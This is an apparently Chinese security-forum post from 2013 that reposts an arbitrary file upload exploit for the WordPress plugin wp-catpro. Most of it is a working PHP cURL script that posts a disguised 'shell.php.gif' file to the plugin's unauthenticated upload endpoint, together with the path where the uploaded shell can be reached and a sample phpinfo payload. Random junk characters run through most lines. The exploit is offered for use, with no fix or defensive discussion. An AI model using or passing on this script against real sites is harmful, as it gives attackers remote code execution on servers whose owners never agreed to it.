找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2329|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability5 u$ \' N" t2 p# C$ @
#-----------------------------------------------------------------------
& ]: @' h; v. l5 L" G , |5 ^: K2 ]0 h
作者  => Zikou-16
1 t. `( Q8 A! p" U3 M; x; \3 C邮箱 => zikou16x@gmail.com
; r  d% I) d2 |- O测试系统 : Windows 7 , Backtrack 5r31 q. r! e. t. }6 f
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
' p; W3 o9 c4 m0 _####7 @; q3 n+ ^8 w" x2 p) V+ I1 L
2 ]4 c$ ?9 ^- d- H" W
#=> Exploit 信息:
9 F( H, X7 Q+ T. _, K, u: r------------------
) ~6 _/ ^: X* i$ s/ T. d9 c# 攻击者可以上传 file/shell.php.gif. E  `4 {. a" V9 P& \' k& D, [
# ("jpg", "gif", "png")  // Allowed file extensions
2 x. Z: k/ d- Q; H3 r9 |# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
/ p, u* w" V1 u, s! {& `# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)0 S- g0 ~0 _0 O
------------------
; o$ F$ D+ y3 T % q( C3 s% r7 ^! ^# G: B
#=> Exploit
9 i0 L1 ]5 ]5 j-----------
, Y: }2 i! b$ ~<?php
2 F7 ], G- M% `% G$ b* d   ^  c: J' N6 q" y
$uploadfile="zik.php.gif";
+ \% }' h. A0 a$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");) k4 o! d6 @$ M# l
curl_setopt($ch, CURLOPT_POST, true);
+ [0 @9 z: R' a1 Z1 |- H5 ycurl_setopt($ch, CURLOPT_POSTFIELDS,
; A# @5 N. X* G$ F0 tarray('Filedata'=>"@$uploadfile",+ x" y. f# x* i  `
'folder'=>'/wp-content/uploads/catpro/'));! Y" F% |1 \6 V, b/ ~: S" V
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
3 h+ P8 ]& t8 D1 |$postResult = curl_exec($ch);
; I, z- J! D3 Z0 W! E- {curl_close($ch);
7 N6 A* r, r6 p7 }( E# ^& I7 q. Z
9 {7 O& d  u2 M; d9 j. k  aprint "$postResult";6 O5 p  M/ F: q& c7 u

3 j0 F4 Z* R) v. u2 qShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
# _6 a  `1 I  Q, E" F. |" r$ ]8 y  ?>, M" A& i3 ?# Y. s% l+ g0 k
<?php
# E' z7 @, k7 @3 I% G, y9 lphpinfo();5 W: N: y2 X+ f$ x3 H
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表